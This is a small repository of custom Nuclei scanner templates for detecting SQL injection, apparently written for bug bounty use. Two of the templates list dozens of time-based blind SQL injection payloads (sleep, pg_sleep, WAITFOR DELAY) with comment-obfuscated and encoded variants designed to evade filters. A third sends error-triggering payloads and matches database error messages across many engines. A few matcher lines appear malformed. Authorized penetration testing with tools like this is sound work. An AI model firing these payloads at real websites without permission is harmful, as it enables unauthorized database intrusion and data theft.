├── oscuridad-sql-workflow.yaml ├── README.md ├── LICENSE └── sql ├── sql-02.yaml ├── sql-01.yaml └── sql-00.yaml /oscuridad-sql-workflow.yaml: -------------------------------------------------------------------------------- 1 | id: oscuridadsql-workflow 2 | 3 | info: 4 | name: Workflow for sql injection detection 5 | author: oscuridad1010 6 | description: A simple workflow that runs all blind sql injection related nuclei templates on a given target. 7 | 8 | workflows: 9 | - template: oscuridad/sql/sql-00.yaml 10 | - template: oscuridad/sql/sql-01.yaml 11 | - template: oscuridad/sql/sql-02.yaml 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # nuclei-template 2 | This is my custom nuclei template for my bugbounty 3 | 4 | # Nuclei tool 5 | https://github.com/projectdiscovery/nuclei 6 | 7 | ⚠️ Disclaimer: 8 | This Nuclei template is released for **educational and ethical purposes only**. 9 | It is intended for use in **authorized environments** such as bug bounty programs, penetration testing with permission, or personal research labs. 10 | The author does **not support or condone** any illegal or malicious use. 11 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Cookie 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /sql/sql-02.yaml: -------------------------------------------------------------------------------- 1 | id: oscuridad-sql 2 | info: 3 | name: Blind SQL Injection time based detection of sql backend (time 7) 4 | author: oscuridad1010 5 | severity: High 6 | tags: sql2,bsql 7 | 8 | requests: 9 | - method: GET 10 | path: 11 | - "{{BaseURL}}" 12 | payloads: 13 | sqloscuridad: 14 | - " XOR(if(now()=sysdate(),sleep(7),0))XOR%23" 15 | - "' or sleep(7)-- -#" 16 | - "' or sleep(7)#" 17 | - "' or sleep(7)='#" 18 | - "' or sleep(7)='--" 19 | - "'/*F*/or/*F*/sleep(7)='" 20 | - "' or sleep(7)-- -%23" 21 | - "' or sleep(7)%23" 22 | - "' or sleep(7);%00" 23 | - " or sleep(7)--+-" 24 | - " or sleep(7)#" 25 | - "'/*f*/or/*f*/sleep/*f*/(7)-- -#" 26 | - "'/*f*/or/*f*/sleep/*f*/(7)#" 27 | - " or sleep(7)%23" 28 | - "'/*f*/or/*f*/sleep/*f*/(7)-- -%23" 29 | - "'/*f*/or/*f*/sleep/*f*/(7)%23" 30 | - "'/*f*/or/*f*/sleep/*f*/(7);%00" 31 | - " or/*f*/sleep/*f*/(7)--+-" 32 | - " or/*f*/sleep/*f*/(7)#" 33 | - "'XOR(if(now()=sysdate(),sleep(7),0))XOR'" 34 | - "'OR(if(now()=sysdate(),sleep(7),0))-- -#" 35 | - "'OR(if(now()=sysdate(),sleep(7),0))#" 36 | - " or/*f*/sleep/*f*/(7)%23" 37 | - "'OR(if(now()=sysdate(),sleep(7),0))-- -%23" 38 | - "'OR(if(now()=sysdate(),sleep(7),0))%23" 39 | - "'OR(if(now()=sysdate(),sleep(7),0));%00" 40 | - " OR(if(now()=sysdate(),sleep(7),0))--+-" 41 | - " OR(if(now()=sysdate(),sleep(7),0))#" 42 | - " OR(if(now()=sysdate(),sleep(7),0))%23" 43 | - "'WAITFOR DELAY '0:0:7';%00" 44 | - "'WAITFOR DELAY '0:0:7'#" 45 | - "'WAITFOR DELAY '0:0:7'%23" 46 | - "'WAITFOR DELAY '0:0:7';%00" 47 | - " WAITFOR DELAY '0:0:7'#" 48 | - " WAITFOR DELAY '0:0:7'%23" 49 | - " WAITFOR DELAY '0:0:7'--+-" 50 | - "'WAITFOR DELAY '0:0:7'--+-" 51 | - "'WAITFOR DELAY '0:0:7'='" 52 | - "\"/*F*/or/*f*/sleep(7)%23" 53 | - "'/*f*/OR/*f*/pg_sleep(7)#" 54 | - "'/*f*/OR/*f*/pg_sleep(7)%23" 55 | - "'/*f*/OR/*f*/pg_sleep(7);%00" 56 | - " /*f*/OR/*f*/pg_sleep(70)--+-" 57 | - " /*f*/OR/*f*/pg_sleep(70)#" 58 | - " /*f*/OR/*f*/pg_sleep(70)%23" 59 | - "'/*f*/OR/*f*/pg_sleep(7)=';%00" 60 | - "\")/*F*/or/*f*/sleep(7)%23" 61 | - "\")/*F*/or/*f*/sleep(7)%23" 62 | - "%E2%84%A2%27/*F*/or/*f*/sleep(7)%23" 63 | - "%E2%84%A2%27/*F*/or/*f*/pg_sleep(7)%23" 64 | - "%E2%84%A2%22/*F*/or/*f*/pg_sleep(7)%23" 65 | - "%E2%84%A2%22/*F*/or/*f*/sleep(7)%23" 66 | - "%E2%84%A2%22/*F*/or/*f*/sleep(7)--+-" 67 | - "%E2%84%A2\")/*F*/or/*f*/sleep(7)--+-" 68 | - "%E2%84%A2%27)/*F*/or/*f*/sleep(7)--+-" 69 | - "%E2%84%A2'/*F*/or/*f*/sleep(7)='" 70 | - "%E2%84%A2')/*F*/or/*f*/sleep(7)='" 71 | stop-at-first-match: true 72 | fuzzing: 73 | - part: query 74 | type: postfix 75 | mode: single 76 | fuzz: 77 | - "{{sqloscuridad}}" 78 | 79 | matchers: 80 | - type: dsl 81 | name: BlindSQLi 82 | dsl: 83 | - 'duration>=5' -------------------------------------------------------------------------------- /sql/sql-01.yaml: -------------------------------------------------------------------------------- 1 | id: oscuridad-sql 2 | info: 3 | name: Blind SQL Injection time based detection of sql backend 4 | author: oscuridad1010 5 | severity: High 6 | tags: sql1,bsql 7 | 8 | requests: 9 | - method: GET 10 | path: 11 | - "{{BaseURL}}" 12 | payloads: 13 | sqloscuridad: 14 | - " XOR(if(now()=sysdate(),sleep(1),0))XOR%23" 15 | - "' or sleep(1)-- -#" 16 | - "' or sleep(1)#" 17 | - "' or sleep(1)='#" 18 | - "' or sleep(1)='--" 19 | - "'/*F*/or/*F*/sleep(1)='" 20 | - "' or sleep(1)-- -%23" 21 | - "' or sleep(1)%23" 22 | - "' or sleep(1);%00" 23 | - " or sleep(1)--+-" 24 | - " or sleep(1)#" 25 | - "'/*f*/or/*f*/sleep/*f*/(1)-- -#" 26 | - "'/*f*/or/*f*/sleep/*f*/(1)#" 27 | - " or sleep(1)%23" 28 | - "'/*f*/or/*f*/sleep/*f*/(1)-- -%23" 29 | - "'/*f*/or/*f*/sleep/*f*/(1)%23" 30 | - "'/*f*/or/*f*/sleep/*f*/(1);%00" 31 | - " or/*f*/sleep/*f*/(1)--+-" 32 | - " or/*f*/sleep/*f*/(1)#" 33 | - "'XOR(if(now()=sysdate(),sleep(1),0))XOR'" 34 | - "'OR(if(now()=sysdate(),sleep(1),0))-- -#" 35 | - "'OR(if(now()=sysdate(),sleep(1),0))#" 36 | - " or/*f*/sleep/*f*/(1)%23" 37 | - "'OR(if(now()=sysdate(),sleep(1),0))-- -%23" 38 | - "'OR(if(now()=sysdate(),sleep(1),0))%23" 39 | - "'OR(if(now()=sysdate(),sleep(1),0));%00" 40 | - " OR(if(now()=sysdate(),sleep(1),0))--+-" 41 | - " OR(if(now()=sysdate(),sleep(1),0))#" 42 | - " OR(if(now()=sysdate(),sleep(1),0))%23" 43 | - "'WAITFOR DELAY '0:0:10';%00" 44 | - "'WAITFOR DELAY '0:0:10'#" 45 | - "'WAITFOR DELAY '0:0:10'%23" 46 | - "'WAITFOR DELAY '0:0:10';%00" 47 | - " WAITFOR DELAY '0:0:10'#" 48 | - " WAITFOR DELAY '0:0:10'%23" 49 | - " WAITFOR DELAY '0:0:10'--+-" 50 | - "'WAITFOR DELAY '0:0:10'--+-" 51 | - "'WAITFOR DELAY '0:0:10'='" 52 | - "\"/*F*/or/*f*/sleep(1)%23" 53 | - "'/*f*/OR/*f*/pg_sleep(1)#" 54 | - "'/*f*/OR/*f*/pg_sleep(1)%23" 55 | - "'/*f*/OR/*f*/pg_sleep(1);%00" 56 | - " /*f*/OR/*f*/pg_sleep(10)--+-" 57 | - " /*f*/OR/*f*/pg_sleep(10)#" 58 | - " /*f*/OR/*f*/pg_sleep(10)%23" 59 | - "'/*f*/OR/*f*/pg_sleep(1)=';%00" 60 | - "\")/*F*/or/*f*/sleep(1)%23" 61 | - "\")/*F*/or/*f*/sleep(1)%23" 62 | - "%E2%84%A2%21/*F*/or/*f*/sleep(1)%23" 63 | - "%E2%84%A2%21/*F*/or/*f*/pg_sleep(1)%23" 64 | - "%E2%84%A2%22/*F*/or/*f*/pg_sleep(1)%23" 65 | - "%E2%84%A2%22/*F*/or/*f*/sleep(1)%23" 66 | - "%E2%84%A2%22/*F*/or/*f*/sleep(1)--+-" 67 | - "%E2%84%A2\")/*F*/or/*f*/sleep(1)--+-" 68 | - "%E2%84%A2%21)/*F*/or/*f*/sleep(1)--+-" 69 | - "%E2%84%A2'/*F*/or/*f*/sleep(1)='" 70 | - "%E2%84%A2')/*F*/or/*f*/sleep(1)='" 71 | 72 | stop-at-first-match: true 73 | fuzzing: 74 | - part: query 75 | type: postfix 76 | mode: single 77 | fuzz: 78 | - "{{sqloscuridad}}" 79 | 80 | matchers: 81 | - type: dsl 82 | name: BlindSQLi 83 | dsl: 84 | - 'duration>=5' 85 | 86 | 87 | 88 | -------------------------------------------------------------------------------- /sql/sql-00.yaml: -------------------------------------------------------------------------------- 1 | id: oscuridad-sql 2 | info: 3 | name: Blind SQL Injection time based detection of sql backend 4 | author: oscuridad1010 5 | severity: High 6 | tags: sql0 7 | 8 | requests: 9 | - method: GET 10 | path: 11 | - "{{BaseURL}}" 12 | 13 | payloads: 14 | sqloscuridad: 15 | - "'" 16 | - "%22%22|0;#" 17 | - "%22" 18 | - "/') OR 1 = 1 -- ];" 19 | - "%E2%84%A2%22" 20 | - "%E2%84%A2%27" 21 | 22 | stop-at-first-match: true 23 | fuzzing: 24 | - part: query 25 | type: postfix 26 | mode: single 27 | fuzz: 28 | - "{{sqloscuridad}}" 29 | 30 | matchers-condition: and 31 | matchers: 32 | - type: word 33 | words: 34 | - "Adminer" 35 | # False Positive 36 | part: body 37 | negative: true 38 | 39 | - type: regex 40 | regex: 41 | # MySQL 42 | - "SQL syntax.*?MySQL" 43 | - "You have an error in your SQL syntax" 44 | - "Warning.*?\\Wmysqli?_" 45 | - "MySQLSyntaxErrorException" 46 | - "valid MySQL result" 47 | - "check the manual that (corresponds to|fits) your MySQL server version" 48 | - "Unknown column '[^ ]+' in 'field list'" 49 | - "MySqlClient\\." 50 | - "com\\.mysql\\.jdbc" 51 | - "Zend_Db_(Adapter|Statement)_Mysqli_Exception" 52 | - "Pdo[./_\\\\]Mysql" 53 | - "MySqlException" 54 | - "SQLSTATE\\[\\d+\\]: Syntax error or access violation" 55 | # MariaDB 56 | - "check the manual that (corresponds to|fits) your MariaDB server version" 57 | # Drizzle 58 | - "check the manual that (corresponds to|fits) your Drizzle server version" 59 | # MemSQL 60 | - "MemSQL does not support this type of query" 61 | - "is not supported by MemSQL" 62 | - "unsupported nested scalar subselect" 63 | # PostgreSQL 64 | - "PostgreSQL.*?ERROR" 65 | - "Warning.*?\\Wpg_" 66 | - "valid PostgreSQL result" 67 | - "Npgsql\\." 68 | - "PG::SyntaxError:" 69 | - "org\\.postgresql\\.util\\.PSQLException" 70 | - "ERROR:\\s\\ssyntax error at or near" 71 | - "ERROR: parser: parse error at or near" 72 | - "PostgreSQL query failed" 73 | - "org\\.postgresql\\.jdbc" 74 | - "Pdo[./_\\\\]Pgsql" 75 | - "PSQLException" 76 | # Microsoft SQL Server 77 | - "Driver.*? SQL[\\-\\_\\ ]*Server" 78 | - "OLE DB.*? SQL Server" 79 | - "\\bSQL Server[^<"]+Driver" 80 | - "Warning.*?\\W(mssql|sqlsrv)_" 81 | - "\\bSQL Server[^<"]+[0-9a-fA-F]{8}" 82 | - "System\\.Data\\.SqlClient\\.SqlException\\.(SqlException|SqlConnection\\.OnError)" 83 | - "(?s)Exception.*?\\bRoadhouse\\.Cms\\." 84 | - "Microsoft SQL Native Client error '[0-9a-fA-F]{8}" 85 | - "\\[SQL Server\\]" 86 | - "ODBC SQL Server Driver" 87 | - "ODBC Driver \\d+ for SQL Server" 88 | - "SQLServer JDBC Driver" 89 | - "com\\.jnetdirect\\.jsql" 90 | - "macromedia\\.jdbc\\.sqlserver" 91 | - "Zend_Db_(Adapter|Statement)_Sqlsrv_Exception" 92 | - "com\\.microsoft\\.sqlserver\\.jdbc" 93 | - "Pdo[./_\\\\](Mssql|SqlSrv)" 94 | - "SQL(Srv|Server)Exception" 95 | - "Unclosed quotation mark after the character string" 96 | # Microsoft Access 97 | - "Microsoft Access (\\d+ )?Driver" 98 | - "JET Database Engine" 99 | - "Access Database Engine" 100 | - "ODBC Microsoft Access" 101 | - "Syntax error \\(missing operator\\) in query expression" 102 | # Oracle 103 | - "\\bORA-\\d{5}" 104 | - "Oracle error" 105 | - "Oracle.*?Driver" 106 | - "Warning.*?\\W(oci|ora)_" 107 | - "quoted string not properly terminated" 108 | - "SQL command not properly ended" 109 | - "macromedia\\.jdbc\\.oracle" 110 | - "oracle\\.jdbc" 111 | - "Zend_Db_(Adapter|Statement)_Oracle_Exception" 112 | - "Pdo[./_\\\\](Oracle|OCI)" 113 | - "OracleException" 114 | # IBM DB2 115 | - "CLI Driver.*?DB2" 116 | - "DB2 SQL error" 117 | - "\\bdb2_\\w+\\(" 118 | - "SQLCODE[=:\\d, -]+SQLSTATE" 119 | - "com\\.ibm\\.db2\\.jcc" 120 | - "Zend_Db_(Adapter|Statement)_Db2_Exception" 121 | - "Pdo[./_\\\\]Ibm" 122 | - "DB2Exception" 123 | - "ibm_db_dbi\\.ProgrammingError" 124 | # Informix 125 | - "Warning.*?\\Wifx_" 126 | - "Exception.*?Informix" 127 | - "Informix ODBC Driver" 128 | - "ODBC Informix driver" 129 | - "com\\.informix\\.jdbc" 130 | - "weblogic\\.jdbc\\.informix" 131 | - "Pdo[./_\\\\]Informix" 132 | - "IfxException" 133 | # Firebird 134 | - "Dynamic SQL Error" 135 | - "Warning.*?\\Wibase_" 136 | - "org\\.firebirdsql\\.jdbc" 137 | - "Pdo[./_\\\\]Firebird" 138 | # SQLite 139 | - "SQLite/JDBCDriver" 140 | - "SQLite\\.Exception" 141 | - "(Microsoft|System)\\.Data\\.SQLite\\.SQLiteException" 142 | - "Warning.*?\\W(sqlite_|SQLite3::)" 143 | - "\\[SQLITE_ERROR\\]" 144 | - "SQLite error \\d+:" 145 | - "sqlite3.OperationalError:" 146 | - "SQLite3::SQLException" 147 | - "org\\.sqlite\\.JDBC" 148 | - "Pdo[./_\\\\]Sqlite" 149 | - "SQLiteException" 150 | # SAP MaxDB 151 | - "SQL error.*?POS([0-9]+)" 152 | - "Warning.*?\\Wmaxdb_" 153 | - "DriverSapDB" 154 | - "-3014.*?Invalid end of SQL statement" 155 | - "com\\.sap\\.dbtech\\.jdbc" 156 | - "\\[-3008\\].*?: Invalid keyword or missing delimiter" 157 | # Sybase 158 | - "Warning.*?\\Wsybase_" 159 | - "Sybase message" 160 | - "Sybase.*?Server message" 161 | - "SybSQLException" 162 | - "Sybase\\.Data\\.AseClient" 163 | - "com\\.sybase\\.jdbc" 164 | # Ingres 165 | - "Warning.*?\\Wingres_" 166 | - "Ingres SQLSTATE" 167 | - "Ingres\\W.*?Driver" 168 | - "com\\.ingres\\.gcf\\.jdbc" 169 | # FrontBase 170 | - "Exception (condition )?\\d+\\. Transaction rollback" 171 | - "com\\.frontbase\\.jdbc" 172 | - "Syntax error 1. Missing" 173 | - "(Semantic|Syntax) error [1-4]\\d{2}\\." 174 | # HSQLDB 175 | - "Unexpected end of command in statement \\[" 176 | - "Unexpected token.*?in statement \\[" 177 | - "org\\.hsqldb\\.jdbc" 178 | # H2 179 | - "org\\.h2\\.jdbc" 180 | - "\\[42000-192\\]" 181 | # MonetDB 182 | - "![0-9]{5}![^\\n]+(failed|unexpected|error|syntax|expected|violation|exception)" 183 | - "\\[MonetDB\\]\\[ODBC Driver" 184 | - "nl\\.cwi\\.monetdb\\.jdbc" 185 | # Apache Derby 186 | - "Syntax error: Encountered" 187 | - "org\\.apache\\.derby" 188 | - "ERROR 42X01" 189 | # Vertica 190 | - ", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):" 191 | - "/vertica/Parser/scan" 192 | - "com\\.vertica\\.jdbc" 193 | - "org\\.jkiss\\.dbeaver\\.ext\\.vertica" 194 | - "com\\.vertica\\.dsi\\.dataengine" 195 | # Mckoi 196 | - "com\\.mckoi\\.JDBCDriver" 197 | - "com\\.mckoi\\.database\\.jdbc" 198 | - "<REGEX_LITERAL>" 199 | # Presto 200 | - "com\\.facebook\\.presto\\.jdbc" 201 | - "io\\.prestosql\\.jdbc" 202 | - "com\\.simba\\.presto\\.jdbc" 203 | - "UNION query has different number of fields: \\d+, \\d+" 204 | # Altibase 205 | - "Altibase\\.jdbc\\.driver" 206 | # MimerSQL 207 | - "com\\.mimer\\.jdbc" 208 | - "Syntax error,[^\\n]+assumed to mean" 209 | # CrateDB 210 | - "io\\.crate\\.client\\.jdbc" 211 | # Cache 212 | - "encountered after end of query" 213 | - "A comparison operator is required here" 214 | # Raima Database Manager 215 | - "-10048: Syntax error" 216 | - "rdmStmtPrepare\\(.+?\\) returned" 217 | # Virtuoso 218 | - "SQ074: Line \\d+:" 219 | - "SR185: Undefined procedure" 220 | - "SQ200: No table " 221 | - "Virtuoso S0002 Error" 222 | - "\\[(Virtuoso Driver|Virtuoso iODBC Driver)\\]\\[Virtuoso Server\\]" 223 | # HQL 224 | - "org\\.hibernate\\.QueryException:" 225 | - "org\\.hibernate\\.exception\\.SQLGrammarException" 226 | - "mismatched input ''" 227 | - '' 228 | condition: or 229 | 230 | extractors: 231 | - type: regex 232 | name: MySQL 233 | regex: 234 | - "SQL syntax.*?MySQL" 235 | - "You have an error in your SQL syntax" 236 | - "Warning.*?\\Wmysqli?_" 237 | - "MySQLSyntaxErrorException" 238 | - "valid MySQL result" 239 | - "check the manual that (corresponds to|fits) your MySQL server version" 240 | - "Unknown column '[^ ]+' in 'field list'" 241 | - "MySqlClient\\." 242 | - "com\\.mysql\\.jdbc" 243 | - "Zend_Db_(Adapter|Statement)_Mysqli_Exception" 244 | - "Pdo[./_\\\\]Mysql" 245 | - "MySqlException" 246 | - "SQLSTATE[\\d+]: Syntax error or access violation" 247 | 248 | - type: regex 249 | name: MariaDB 250 | regex: 251 | - "check the manual that (corresponds to|fits) your MariaDB server version" 252 | 253 | - type: regex 254 | name: Drizzel 255 | regex: 256 | - "check the manual that (corresponds to|fits) your Drizzle server version" 257 | 258 | - type: regex 259 | name: MemSQL 260 | regex: 261 | - "MemSQL does not support this type of query" 262 | - "is not supported by MemSQL" 263 | - "unsupported nested scalar subselect" 264 | 265 | - type: regex 266 | name: PostgreSQL 267 | regex: 268 | - "PostgreSQL.*?ERROR" 269 | - "Warning.*?\\Wpg_" 270 | - "valid PostgreSQL result" 271 | - "Npgsql\\." 272 | - "PG::SyntaxError:" 273 | - "org\\.postgresql\\.util\\.PSQLException" 274 | - "ERROR:\\s\\ssyntax error at or near" 275 | - "ERROR: parser: parse error at or near" 276 | - "PostgreSQL query failed" 277 | - "org\\.postgresql\\.jdbc" 278 | - "Pdo[./_\\\\]Pgsql" 279 | - "PSQLException" 280 | 281 | - type: regex 282 | name: MicrosoftSQLServer 283 | regex: 284 | - "Driver.*? SQL[\\-\\_\\ ]*Server" 285 | - "OLE DB.*? SQL Server" 286 | - "\\bSQL Server[^<"]+Driver" 287 | - "Warning.*?\\W(mssql|sqlsrv)_" 288 | - "\\bSQL Server[^<"]+[0-9a-fA-F]{8}" 289 | - "System\\.Data\\.SqlClient\\.SqlException\\.(SqlException|SqlConnection\\.OnError)" 290 | - "(?s)Exception.*?\\bRoadhouse\\.Cms\\." 291 | - "Microsoft SQL Native Client error '[0-9a-fA-F]{8}" 292 | - "\\[SQL Server\\]" 293 | - "ODBC SQL Server Driver" 294 | - "ODBC Driver \\d+ for SQL Server" 295 | - "SQLServer JDBC Driver" 296 | - "com\\.jnetdirect\\.jsql" 297 | - "macromedia\\.jdbc\\.sqlserver" 298 | - "Zend_Db_(Adapter|Statement)_Sqlsrv_Exception" 299 | - "com\\.microsoft\\.sqlserver\\.jdbc" 300 | - "Pdo[./_\\\\](Mssql|SqlSrv)" 301 | - "SQL(Srv|Server)Exception" 302 | - "Unclosed quotation mark after the character string" 303 | 304 | - type: regex 305 | name: MicrosoftAccess 306 | regex: 307 | - "Microsoft Access (\\d+ )?Driver" 308 | - "JET Database Engine" 309 | - "Access Database Engine" 310 | - "ODBC Microsoft Access" 311 | - "Syntax error \\(missing operator\\) in query expression" 312 | 313 | - type: regex 314 | name: Oracle 315 | regex: 316 | - "\\bORA-\\d{5}" 317 | - "Oracle error" 318 | - "Oracle.*?Driver" 319 | - "Warning.*?\\W(oci|ora)_" 320 | - "quoted string not properly terminated" 321 | - "SQL command not properly ended" 322 | - "macromedia\\.jdbc\\.oracle" 323 | - "oracle\\.jdbc" 324 | - "Zend_Db_(Adapter|Statement)_Oracle_Exception" 325 | - "Pdo[./_\\\\](Oracle|OCI)" 326 | - "OracleException" 327 | 328 | - type: regex 329 | name: IBMDB2 330 | regex: 331 | - "CLI Driver.*?DB2" 332 | - "DB2 SQL error" 333 | - "\\bdb2_\\w+\\(" 334 | - "SQLCODE[=:\\d, -]+SQLSTATE" 335 | - "com\\.ibm\\.db2\\.jcc" 336 | - "Zend_Db_(Adapter|Statement)_Db2_Exception" 337 | - "Pdo[./_\\\\]Ibm" 338 | - "DB2Exception" 339 | - "ibm_db_dbi\\.ProgrammingError" 340 | 341 | - type: regex 342 | name: Informix 343 | regex: 344 | - "Warning.*?\\Wifx_" 345 | - "Exception.*?Informix" 346 | - "Informix ODBC Driver" 347 | - "ODBC Informix driver" 348 | - "com\\.informix\\.jdbc" 349 | - "weblogic\\.jdbc\\.informix" 350 | - "Pdo[./_\\\\]Informix" 351 | - "IfxException" 352 | 353 | - type: regex 354 | name: Firebird 355 | regex: 356 | - "Dynamic SQL Error" 357 | - "Warning.*?\\Wibase_" 358 | - "org\\.firebirdsql\\.jdbc" 359 | - "Pdo[./_\\\\]Firebird" 360 | 361 | - type: regex 362 | name: SQLite 363 | regex: 364 | - "SQLite/JDBCDriver" 365 | - "SQLite\\.Exception" 366 | - "(Microsoft|System)\\.Data\\.SQLite\\.SQLiteException" 367 | - "Warning.*?\\W(sqlite_|SQLite3::)" 368 | - "\\[SQLITE_ERROR\\]" 369 | - "SQLite error \\d+:" 370 | - "sqlite3.OperationalError:" 371 | - "SQLite3::SQLException" 372 | - "org\\.sqlite\\.JDBC" 373 | - "Pdo[./_\\\\]Sqlite" 374 | - "SQLiteException" 375 | 376 | - type: regex 377 | name: SAPMaxDB 378 | regex: 379 | - "SQL error.*?POS([0-9]+)" 380 | - "Warning.*?\\Wmaxdb_" 381 | - "DriverSapDB" 382 | - "-3014.*?Invalid end of SQL statement" 383 | - "com\\.sap\\.dbtech\\.jdbc" 384 | - "\\[-3008\\].*?: Invalid keyword or missing delimiter" 385 | 386 | - type: regex 387 | name: Sybase 388 | regex: 389 | - "Warning.*?\\Wsybase_" 390 | - "Sybase message" 391 | - "Sybase.*?Server message" 392 | - "SybSQLException" 393 | - "Sybase\\.Data\\.AseClient" 394 | - "com\\.sybase\\.jdbc" 395 | 396 | - type: regex 397 | name: Ingres 398 | regex: 399 | - "Warning.*?\\Wingres_" 400 | - "Ingres SQLSTATE" 401 | - "Ingres\\W.*?Driver" 402 | - "com\\.ingres\\.gcf\\.jdbc" 403 | 404 | - type: regex 405 | name: FrontBase 406 | regex: 407 | - "Exception (condition )?\\d+\\. Transaction rollback" 408 | - "com\\.frontbase\\.jdbc" 409 | - "Syntax error 1. Missing" 410 | - "(Semantic|Syntax) error \\[1-4\\]\\d{2}\\." 411 | 412 | - type: regex 413 | name: HSQLDB 414 | regex: 415 | - "Unexpected end of command in statement \\[" 416 | - "Unexpected token.*?in statement \\[" 417 | - "org\\.hsqldb\\.jdbc" 418 | 419 | - type: regex 420 | name: H2 421 | regex: 422 | - "org\\.h2\\.jdbc" 423 | - "\\[42000-192\\]" 424 | 425 | - type: regex 426 | name: MonetDB 427 | regex: 428 | - "![0-9]{5}![^\\n]+(failed|unexpected|error|syntax|expected|violation|exception)" 429 | - "\\[MonetDB\\]\\[ODBC Driver" 430 | - "nl\\.cwi\\.monetdb\\.jdbc" 431 | 432 | - type: regex 433 | name: ApacheDerby 434 | regex: 435 | - "Syntax error: Encountered" 436 | - "org\\.apache\\.derby" 437 | - "ERROR 42X01" 438 | 439 | - type: regex 440 | name: Vertica 441 | regex: 442 | - ", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):" 443 | - "/vertica/Parser/scan" 444 | - "com\\.vertica\\.jdbc" 445 | - "org\\.jkiss\\.dbeaver\\.ext\\.vertica" 446 | - "com\\.vertica\\.dsi\\.dataengine" 447 | 448 | - type: regex 449 | name: Mckoi 450 | regex: 451 | - "com\\.mckoi\\.JDBCDriver" 452 | - "com\\.mckoi\\.database\\.jdbc" 453 | - "<REGEX_LITERAL>" 454 | 455 | - type: regex 456 | name: Presto 457 | regex: 458 | - "com\\.facebook\\.presto\\.jdbc" 459 | - "io\\.prestosql\\.jdbc" 460 | - "com\\.simba\\.presto\\.jdbc" 461 | - "UNION query has different number of fields: \\d+, \\d+" 462 | 463 | - type: regex 464 | name: Altibase 465 | regex: 466 | - "Altibase\\.jdbc\\.driver" 467 | 468 | - type: regex 469 | name: MimerSQL 470 | regex: 471 | - "com\\.mimer\\.jdbc" 472 | - "Syntax error,[^\\n]+assumed to mean" 473 | 474 | - type: regex 475 | name: CrateDB 476 | regex: 477 | - "io\\.crate\\.client\\.jdbc" 478 | 479 | - type: regex 480 | name: Cache 481 | regex: 482 | - "encountered after end of query" 483 | - "A comparison operator is required here" 484 | 485 | - type: regex 486 | name: RaimaDatabaseManager 487 | regex: 488 | - "-10048: Syntax error" 489 | - "rdmStmtPrepare\\(.+?\\) returned" 490 | 491 | - type: regex 492 | name: Virtuoso 493 | regex: 494 | - "SQ074: Line \\d+:" 495 | - "SR185: Undefined procedure" 496 | - "SQ200: No table " 497 | - "Virtuoso S0002 Error" 498 | - "\\[(Virtuoso Driver|Virtuoso iODBC Driver)\\]\\[Virtuoso Server\\]" 499 | 500 | - type: regex 501 | name: HQLSQL 502 | regex: 503 | - "org\\.hibernate\\.QueryException:" 504 | - "org\\.hibernate\\.exception\\.SQLGrammarException" 505 | - "mismatched input ''" 506 | - '' 507 | 508 | --------------------------------------------------------------------------------